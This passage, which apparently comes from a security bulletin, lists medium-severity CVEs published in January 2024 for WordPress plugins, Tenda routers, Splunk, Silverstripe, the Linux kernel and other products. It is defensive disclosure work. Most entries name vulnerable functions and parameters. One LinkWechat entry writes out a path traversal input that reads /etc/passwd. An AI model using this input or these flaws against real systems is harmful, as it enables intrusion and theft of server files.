linux -- kernel	An out-of-bounds read vulnerability was found in Netfilter Connection Tracking (conntrack) in the Linux kernel. This flaw allows a remote user to disclose sensitive information via the DCCP protocol.	2024-01-23	4	CVE-2023-39197
linux -- kernel	Integer Overflow or Wraparound vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (md, raid, raid5 modules) allows Forced Integer Overflow.	2024-01-25	4.4	CVE-2024-23307 security@openanolis.org
liuwy-dlsdys -- zhglxt	A vulnerability, which was classified as problematic, has been found in liuwy-dlsdys zhglxt 4.7.7. This issue affects some unknown processing of the file /oa/notify/edit of the component HTTP POST Request Handler. The manipulation of the argument notifyTitle leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251543.	2024-01-19	4.8	CVE-2024-0718
lizard-ware -- spycamlizard	A vulnerability classified as problematic has been found in SpyCamLizard 1.230. Affected is an unknown function of the component HTTP GET Request Handler. The manipulation leads to denial of service. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252036.	2024-01-25	5.3	CVE-2024-0885
ljapps -- wp_review_slider	The WP Review Slider WordPress plugin before 13.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)	2024-01-22	4.8	CVE-2023-6456
mafiatic -- blue_server	A vulnerability, which was classified as problematic, has been found in Mafiatic Blue Server 1.1. Affected by this issue is some unknown functionality of the component Connection Handler. The manipulation leads to denial of service. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252038 is the identifier assigned to this vulnerability.	2024-01-25	5.3	CVE-2024-0887

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
martinmbithi -- internet_banking_system	A vulnerability classified as problematic was found in CodeAstro Internet Banking System 1.0. Affected by this vulnerability is an unknown functionality of the file pages_client_signup.php. The manipulation of the argument Client Full Name leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251677 was assigned to this vulnerability.	2024-01-22	5.4	CVE-2024-0773
meris_wp_theme_project -- meris_wp_theme	The Meris WordPress theme through 1.1.2 does not sanitise and escape some parameters before outputting them back in the page, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin	2024-01-22	6.1	CVE-2023-7194
metagauss -- eventprime	The EventPrime WordPress plugin before 3.3.6 lacks authentication and authorization, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id/event name.	2024-01-22	5.3	CVE-2023-6447
microsoft -- microsoft_edge_(chromium-based)	Microsoft Edge for Android Spoofing Vulnerability	2024-01-26	5.3	CVE-2024-21387
microsoft -- microsoft_edge_(chromium-based)	Microsoft Edge for Android Information Disclosure Vulnerability	2024-01-26	4.3	CVE-2024-21382
mintplex-labs -- vector-admin	Authentication bypass in vector-admin allows a user to register to a vector-admin server while "domain restriction" is active, even when not owning an authorized email address.	2024-01-25	6.5	CVE-2024-0879 reefs@jfrog.com reefs@jfrog.com
myeventon -- rsvp_events	The EventON-RSVP WordPress plugin before 2.9.5 does not sanitise and escape some parameters before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin	2024-01-22	6.1	CVE-2023-7170
niushop -- b2b2c	A vulnerability was found in Niushop B2B2C V5 and classified as critical. Affected by this issue is some unknown functionality of the file \app\model\Upload.php. The manipulation leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252140. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	6.3	CVE-2024-0933
novel-plus -- novel-plus	A vulnerability was found in Novel-Plus 4.3.0-RC1 and classified as critical. This issue affects some unknown processing of the file /novel/bookComment/list. The manipulation of the argument sort leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-252185 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	5.5	CVE-2024-0941
nsasoft -- sharealarmpro	A vulnerability was found in Nsasoft ShareAlarmPro 2.1.4 and classified as problematic. Affected by this issue is some unknown functionality of the component Registration Handler. The manipulation of the argument Name/Key leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251672. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-22	5.3	CVE-2024-0772
nsasoft-- product_key_explorer	A vulnerability has been found in Nsasoft Product Key Explorer 4.0.9 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Registration Handler. The manipulation of the argument Name/Key leads to memory corruption. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The associated identifier of this	2024-01-21	5.3	CVE-2024-0771

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	vulnerability is VDB-251671. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.			
obgm -- libcoap	A vulnerability was found in obgm libcoap 4.3.4. It has been rated as critical. Affected by this issue is the function get_split_entry of the file src/coap_oscore.c of the component Configuration File Handler. The manipulation leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. VDB-252206 is the identifier assigned to this vulnerability.	2024-01-27	6.3	CVE-2024-0962
openfga -- openfga	OpenFGA, an authorization/permission engine, is vulnerable to a denial of service attack in versions prior to 1.4.3. In some scenarios that depend on the model and tuples used, a call to `ListObjects` may not release memory properly. So when a sufficiently high number of those calls are executed, the OpenFGA server can create an `out of memory` error and terminate. Version 1.4.3 contains a patch for this issue.	2024-01-26	5.3	CVE-2024-23820
openlibraryfoundation -- mod-remote-storage	Hard-coded credentials in mod-remote-storage versions under 1.7.2 and from 2.0.0 to 2.0.3 allows unauthorized users to gain read access to mod-inventory-storage records including instances, holdings, items, contributor-types, and identifier-types.	2024-01-19	5.3	CVE-2024-23685
owasp -- dependency-check	DependencyCheck for Maven 9.0.0 to 9.0.6, for CLI version 9.0.0 to 9.0.5, and for Ant versions 9.0.0 to 9.0.5, when used in debug mode, allows an attacker to recover the NVD API Key from a log file.	2024-01-19	5.3	CVE-2024-23686
project_worlds -- online_admission_system	A vulnerability was found in Project Worlds Online Admission System 1.0 and classified as critical. This issue affects some unknown processing of the file documents.php. The manipulation leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251699.	2024-01-22	6.3	CVE-2024-0783
qidianbang -- qdbcrm	A vulnerability was found in Qidianbang qdbcrm 1.1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /user/edit?id=2 of the component Password Reset. The manipulation leads to cross-site request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252032. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-25	4.3	CVE-2024-0880
qwdigital -- linkwechat	A vulnerability was found in qwdigital LinkWechat 5.1.0. It has been classified as problematic. This affects an unknown part of the file /linkwechat-api/common/download/resource of the component Universal Download Interface. The manipulation of the argument name with the input /profile/../../../../../etc/passwd leads to path traversal: '../filedir'. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252033 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-25	4.3	CVE-2024-0882
renzo_johnson -- contact_form_7_extension_for_mailchimp	Server-Side Request Forgery (SSRF) vulnerability in Renzo Johnson Contact Form 7 Extension For Mailchimp.This issue affects Contact Form 7 Extension For Mailchimp: from n/a through 0.5.70.	2024-01-24	4.9	CVE-2024-22134
revenera -- installshield	A vulnerability has been reported in Suite Setups built with versions prior to InstallShield 2023 R2. This vulnerability may allow locally authenticated users to cause a Denial of Service (DoS) condition when handling move operations on local, temporary folders.	2024-01-26	5.5	CVE-2023-29081 PSIRT-CNA@flexerasoftware.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
silverstripe -- silverstripe-admin	Silverstripe Admin provides a basic management interface for the Silverstripe Framework. In versions on the 1.x branch prior to 1.13.19 and on the 2.x branch prior to 2.1.8, users who don't have edit or delete permissions for records exposed in a `ModelAdmin` can still edit or delete records using the CSV import form, provided they have create permissions. The likelihood of a user having create permissions but not having edit or delete permissions is low, but it is possible. Note that this doesn't affect any `ModelAdmin` which has had the import form disabled via the `showImportForm` public property. Versions 1.13.19 and 2.1.8 contain a patch for the issue. Those who have a custom implementation of `BulkLoader` should update their implementations to respect permissions when the return value of `getCheckPermissions()` is true. Those who use any `BulkLoader` in their own project logic, or maintain a module which uses it, should consider passing `true` to `setCheckPermissions()` if the data is provided by users.	2024-01-23	4.3	CVE-2023-49783
silverstripe -- silverstripe-framework	Silverstripe Framework is the framework that forms the base of the Silverstripe content management system. Prior to versions 4.13.39 and 5.1.11, if a user should not be able to see a record, but that record can be added to a `GridField` using the `GridFieldAddExistingAutocompleter` component, the record's title can be accessed by that user. Versions 4.13.39 and 5.1.11 contain a fix for this issue.	2024-01-23	4.3	CVE-2023-48714
silverstripe -- silverstripe-graphql	The Silverstripe CMS GraphQL Server serves Silverstripe data as GraphQL representations. In versions 4.0.0 prior to 4.3.7 and 5.0.0 prior to 5.1.3, `canView` permission checks are bypassed for ORM data in paginated GraphQL query results where the total number of records is greater than the number of records per page. Note that this also affects GraphQL queries which have a limit applied, even if the query isn't paginated per se. This has been fixed in versions 4.3.7 and 5.1.3 by ensuring no new records are pulled in from the database after performing `canView` permission checks for each page of results. This may result in some pages in the query results having less than the maximum number of records per page even when there are more pages of results. This behavior is consistent with how pagination works in other areas of Silverstripe CMS, such as in `GridField`, and is a result of having to perform permission checks in PHP rather than in the database directly. One may disable these permission checks by disabling the `CanViewPermission` plugin.	2024-01-23	5.3	CVE-2023-44401
sourcecodester -- online_tours_&_travels_management_system	A vulnerability was found in SourceCodester Online Tours & Travels Management System 1.0. It has been declared as critical. This vulnerability affects the function prepare of the file admin/pay.php. The manipulation of the argument id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-252034 is the identifier assigned to this vulnerability.	2024-01-25	6.3	CVE-2024-0883
sourcecodester -- online_tours_&_travels_management_system	A vulnerability was found in SourceCodester Online Tours & Travels Management System 1.0. It has been rated as critical. This issue affects the function exec of the file payment.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252035.	2024-01-25	4.7	CVE-2024-0884
spip -- spip	SPIP before 4.1.14 and 4.2.x before 4.2.8 allows XSS via the name of an uploaded file. This is related to javascript/bigup.js and javascript/bigup.utils.js.	2024-01-19	6.1	CVE-2024-23659
splunk -- splunk_enterprise	In Splunk Enterprise versions below 9.0.8 and 9.1.3, Splunk app key value store (KV Store) improperly handles permissions for users that use the REST application programming interface (API). This can potentially result in the deletion of KV Store collections.	2024-01-22	6.5	CVE-2024-23675 prodsec@splunk.com prodsec@splunk.com
splunk -- splunk_enterprise	In Splunk versions below 9.0.8 and 9.1.3, the "mrollup" SPL command lets a low-privileged user view metrics on an index that they do not have permission to view. This vulnerability requires user interaction from a high-privileged user to exploit.	2024-01-22	4.6	CVE-2024-23676 prodsec@splunk.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
				prodsec@splunk.com
splunk -- splunk_enterprise	In Splunk Enterprise versions below 9.0.8, the Splunk RapidDiag utility discloses server responses from external applications in a log file.	2024-01-22	4.3	CVE-2024-23677 prodsec@splunk.com
squid-cache -- squid	Squid is a caching proxy for the Web. Due to an expired pointer reference bug, Squid prior to version 6.6 is vulnerable to a Denial of Service attack against Cache Manager error responses. This problem allows a trusted client to perform Denial of Service when generating error pages for Client Manager reports. Squid older than 5.0.5 have not been tested and should be assumed to be vulnerable. All Squid-5.x up to and including 5.9 are vulnerable. All Squid-6.x up to and including 6.5 are vulnerable. This bug is fixed by Squid version 6.6. In addition, patches addressing this problem for the stable releases can be found in Squid's patch archives. As a workaround, prevent access to Cache Manager using Squid's main access control: `http_access deny manager`.	2024-01-24	6.5	CVE-2024-23638
stanfordvl -- gibsonenv	A vulnerability was found in StanfordVL GibsonEnv 0.3.1. It has been classified as critical. Affected is the function cloudpickle.load of the file gibson\utils\pposgd_fuse.py. The manipulation leads to deserialization. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252204.	2024-01-27	5	CVE-2024-0959
strangebee -- thehive	StrangeBee TheHive 5.1.0 to 5.1.9 and 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case attachment functionality which enables an attacker to upload a malicious HTML file with Javascript code that will be executed in the context of the The Hive application using a specific URL. The vulnerability can be used to coerce a victim account to perform specific actions on the application as helping an analyst becoming administrator.	2024-01-19	5.4	CVE-2024-22876
strangebee -- thehive	StrangeBee TheHive 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case reporting functionality. This feature allows an attacker to insert malicious JavaScript code inside the template or its variables, that will be executed in the context of the TheHive application when the HTML report is opened.	2024-01-19	5.4	CVE-2024-22877
swftools -- swftools	A heap-use-after-free was found in SWFTools v0.9.2, in the function input at lex.swf5.c:2620. It allows an attacker to cause denial of service.	2024-01-19	5.5	CVE-2024-22914
swftools -- swftools	swftools 0.9.2 was discovered to contain an Out-of-bounds Read vulnerability via the function dict_do_lookup in swftools/lib/q.c:1190.	2024-01-19	5.5	CVE-2024-22957
synaptics -- synaptics_fingerprint_driver	Use of encryption key derived from static information in Synaptics Fingerprint Driver allows an attacker to set up a TLS session with the fingerprint sensor and send restricted commands to the fingerprint sensor. This may allow an attacker, who has physical access to the sensor, to enroll a fingerprint into the template database.	2024-01-27	5.2	CVE-2023-6482 PSIRT@synaptics.com
synology -- diskstation_manager_(dsm)	URL redirection to untrusted site ('Open Redirect') vulnerability in file access component in Synology DiskStation Manager (DSM) before 7.2.1-69057-2 allows remote authenticated users to conduct phishing attacks via unspecified vectors.	2024-01-24	4.1	CVE-2024-0854 security@synology.com
tenda -- ac10u	A vulnerability classified as critical was found in Tenda AC10U 15.03.06.49_multi_TDE01. Affected by this vulnerability is the function formQuickIndex. The manipulation of the argument PPPOEPassword leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252127. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0922

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
tenda -- ac10u	A vulnerability, which was classified as critical, has been found in Tenda AC10U 15.03.06.49_multi_TDE01. Affected by this issue is the function formSetDeviceName. The manipulation of the argument devName leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252128. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0923
tenda -- ac10u	A vulnerability, which was classified as critical, was found in Tenda AC10U 15.03.06.49_multi_TDE01. This affects the function formSetPPTPServer. The manipulation of the argument startIp leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252129 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0924
tenda -- ac10u	A vulnerability has been found in Tenda AC10U 15.03.06.49_multi_TDE01 and classified as critical. This vulnerability affects the function formSetVirtualSer. The manipulation of the argument list leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-252130 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0925
tenda -- ac10u	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01 and classified as critical. This issue affects the function formWifiWpsOOB. The manipulation of the argument index leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252131. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0926
tenda -- ac10u	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01. It has been classified as critical. Affected is the function fromAddressNat. The manipulation of the argument entrys/mitInterface/page leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252132. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0927
tenda -- ac10u	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01. It has been declared as critical. Affected by this vulnerability is the function fromDhcpListClient. The manipulation of the argument page/listN leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252133 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0928
tenda -- ac10u	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01. It has been rated as critical. Affected by this issue is the function fromNatStaticSetting. The manipulation of the argument page leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252134 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0929
tenda -- ac10u	A vulnerability classified as critical has been found in Tenda AC10U 15.03.06.49_multi_TDE01. This affects the function fromSetWirelessRepeat. The manipulation of the argument wpapsk_crypto leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252135. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0930

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
tenda -- ac10u	A vulnerability classified as critical was found in Tenda AC10U 15.03.06.49_multi_TDE01. This vulnerability affects the function saveParentControlInfo. The manipulation of the argument deviceId/time/urls leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252136. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0931
tenda -- ac10u	A vulnerability, which was classified as critical, has been found in Tenda AC10U 15.03.06.49_multi_TDE01. This issue affects the function setSmartPowerManagement. The manipulation of the argument time leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252137 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	4.7	CVE-2024-0932
the_notary_project -- the_notary_project	The Notary Project is a set of specifications and tools intended to provide a cross-industry standard for securing software supply chains by using authentic container images and other OCI artifacts. An external actor with control of a compromised container registry can provide outdated versions of OCI artifacts, such as Images. This could lead artifact consumers with relaxed trust policies (such as `permissive` instead of `strict`) to potentially use artifacts with signatures that are no longer valid, making them susceptible to any exploits those artifacts may contain. In Notary Project, an artifact publisher can control the validity period of artifact by specifying signature expiry during the signing process. Using shorter signature validity periods along with processes to periodically resign artifacts, allows artifact producers to ensure that their consumers will only receive up-to-date artifacts. Artifact consumers should correspondingly use a `strict` or equivalent trust policy that enforces signature expiry. Together these steps enable use of up-to-date artifacts and safeguard against rollback attack in the event of registry compromise. The Notary Project offers various signature validation options such as `permissive`, `audit` and `skip` to support various scenarios. These scenarios includes 1) situations demanding urgent workload deployment, necessitating the bypassing of expired or revoked signatures; 2) auditing of artifacts lacking signatures without interrupting workload; and 3) skipping of verification for specific images that might have undergone validation through alternative mechanisms. Additionally, the Notary Project supports revocation to ensure the signature freshness. Artifact publishers can sign with short-lived certificates and revoke older certificates when necessary. This revocation serves as a signal to inform artifact consumers that the corresponding unexpired artifact is no longer approved by the publisher. This enables the artifact publisher to control the validity of the signature independently of their ability to manage artifacts in a compromised registry.	2024-01-19	4	CVE-2024-23332
themegrill -- colormag	The ColorMag theme for WordPress is vulnerable to unauthorized access due to a missing capability check on the plugin_action_callback() function in all versions up to, and including, 3.1.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to install and activate arbitrary plugins.	2024-01-20	6.5	CVE-2024-0679
thomas_maier -- image_source_control_lite-show_image_credits_and_captions	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Thomas Maier Image Source Control Lite - Show Image Credits and Captions. This issue affects Image Source Control Lite - Show Image Credits and Captions: from n/a through 2.17.0.	2024-01-27	5.3	CVE-2023-52187
tongda -- oa_2017	A vulnerability, which was classified as critical, was found in Tongda OA 2017 up to 11.9. This affects an unknown part of the file /general/email/inbox/delete_webmail.php. The manipulation of the argument WEBBODY_ID_STR leads to sql injection. The exploit has been disclosed to the public and may be used. Upgrading to version 11.10 is able to address this issue. It is recommended to upgrade the affected component. The associated identifier of	2024-01-26	5.5	CVE-2024-0938

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	this vulnerability is VDB-252183. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.			
trillium-rs -- trillium	Trillium is a composable toolkit for building internet applications with async rust. In `trillium-http` prior to 0.3.12 and `trillium-client` prior to 0.5.4, insufficient validation of outbound header values may lead to request splitting or response splitting attacks in scenarios where attackers have sufficient control over headers. This only affects use cases where attackers have control of request headers, and can insert "\r\n" sequences. Specifically, if untrusted and unvalidated input is inserted into header names or values. Outbound `trillium_http::HeaderValue` and `trillium_http::HeaderName` can be constructed infallibly and were not checked for illegal bytes when sending requests from the client or responses from the server. Thus, if an attacker has sufficient control over header values (or names) in a request or response that they could inject `\r\n` sequences, they could get the client and server out of sync, and then pivot to gain control over other parts of requests or responses. (i.e. exfiltrating data from other requests, SSRF, etc.) In `trillium-http` versions 0.3.12 and later, if a header name is invalid in server response headers, the specific header and any associated values are omitted from network transmission. Additionally, if a header value is invalid in server response headers, the individual header value is omitted from network transmission. Other headers values with the same header name will still be sent. In `trillium-client` versions 0.5.4 and later, if any header name or header value is invalid in the client request headers, awaiting the client Conn returns an `Error::MalformedHeader` prior to any network access. As a workaround, Trillium services and client applications should sanitize or validate untrusted input that is included in header values and header names. Carriage return, newline, and null characters are not allowed.	2024-01-24	6.8	CVE-2024-23644
tutao -- tutanota	Tuta is an encrypted email service. In versions prior to 119.10, an attacker can attach an image in a html mail which is loaded from external resource in the default setting, which should prevent loading of external resources. When displaying emails containing external content, they should be loaded by default only after confirmation by the user. However, it could be recognized that certain embedded images (see PoC) are loaded, even though the "Automatic Reloading of Images" function is disabled by default. The reloading is also done unencrypted via HTTP and redirections are followed. This behavior is unexpected for the user, since the user assumes that external content will only be loaded after explicit manual confirmation. The loading of external content in e-mails represents a risk, because this makes the sender aware that the e-mail address is used, when the e-mail was read, which device is used and expose the user's IP address. Version 119.10 contains a patch for this issue.	2024-01-23	5.3	CVE-2024-23330
unix4lyfe -- darkhttpd	darkhttpd through 1.15 allows local users to discover credentials (for --auth) by listing processes and their arguments.	2024-01-22	5.5	CVE-2024-23770
van_der_schaar_lab -- synthcity	A vulnerability, which was classified as critical, has been found in van_der_Schaar LAB synthcity 0.2.9. Affected by this issue is the function load_from_file of the component PKL File Handler. The manipulation leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252182 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early and confirmed immediately the existence of the issue. A patch is planned to be released in February 2024.	2024-01-26	6.3	CVE-2024-0937
van_der_schaar_lab -- temporai	A vulnerability classified as critical was found in van_der_Schaar LAB TemporAI 0.0.3. Affected by this vulnerability is the function load_from_file of the component PKL File Handler. The manipulation leads to deserialization. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252181 was assigned to this vulnerability. NOTE: The vendor was contacted early and confirmed immediately the existence of the issue. A patch is planned to be released in February 2024.	2024-01-26	6.3	CVE-2024-0936

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
vektor-inc -- vk_block_patterns	The VK Block Patterns plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.31.1.1. This is due to missing or incorrect nonce validation on the vbp_clear_patterns_cache() function. This makes it possible for unauthenticated attackers to clear the patterns cache via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	2024-01-20	4.3	CVE-2024-0623
wordpress -- wordpress	The SEOPress WordPress plugin before 7.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed	2024-01-22	4.8	CVE-2023-6290
wordpress -- wordpress	The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the map id parameter in all versions up to, and including, 9.0.28 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	2024-01-24	6.1	CVE-2023-6697
wordpress -- wordpress	The AMP for WP - Accelerated Mobile Pages plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'disqus_name' parameter in all versions up to, and including, 1.0.92.1 due to insufficient input sanitization and output escaping on the executed JS file. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	2024-01-23	6.1	CVE-2024-0587
wordpress -- wordpress	The WP Customer Area plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'tab' parameter in all versions up to, and including, 8.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	2024-01-24	6.1	CVE-2024-0665
wordpress -- wordpress	The Backuply - Backup, Restore, Migrate and Clone plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.2.3 via the node_id parameter in the backuply_get_jstree function. This makes it possible for attackers with administrator privileges or higher to read the contents of arbitrary files on the server, which can contain sensitive information.	2024-01-27	6.5	CVE-2024-0697
wordpress -- wordpress	The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Link Anything functionality in all versions up to, and including, 2.6.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-27	6.4	CVE-2024-0824
wordpress -- wordpress	The Category Discount Woocommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wpcd_save_discount() function in all versions up to, and including, 4.12. This makes it possible for unauthenticated attackers to modify product category discounts that could lead to loss of revenue.	2024-01-25	5.3	CVE-2024-0617
wordpress -- wordpress	The Paid Memberships Pro - Content Restriction, User Registration, & Paid Subscriptions plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.12.7. This is due to missing or incorrect nonce validation on the pmpro_update_level_order() function. This makes it possible for unauthenticated attackers to update the order of levels via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	2024-01-25	5.3	CVE-2024-0624

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
wordpress -- wordpress	The Form Maker by 10Web - Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.15.21. This is due to missing or incorrect nonce validation on the 'execute' function. This makes it possible for unauthenticated attackers to execute arbitrary methods in the 'BoosterController' class via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	2024-01-27	5.4	CVE-2024-0667
wordpress -- wordpress	The WordPress Simple Shopping Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the automatic redirect URL setting in all versions up to and including 4.7.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	2024-01-27	4.4	CVE-2023-6497
wordpress -- wordpress	The Contact Form Plugin - Fastest Contact Form Builder Plugin for WordPress by Fluent Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via imported form titles in all versions up to, and including, 5.1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	2024-01-27	4.4	CVE-2024-0618
wordpress -- wordpress	The WPFront Notification Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpfront-notification-bar-options[custom_class]' parameter in all versions up to, and including, 3.3.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	2024-01-25	4.4	CVE-2024-0625
wordpress -- wordpress	The Meks Smart Social Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Meks Smart Social Widget in all versions up to, and including, 1.6.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	2024-01-27	4.4	CVE-2024-0664
wordpress -- wordpress	The "WebSub (FKA. PubSubHubbub)" plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin settings in all versions up to, and including, 3.1.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-25	4.4	CVE-2024-0688
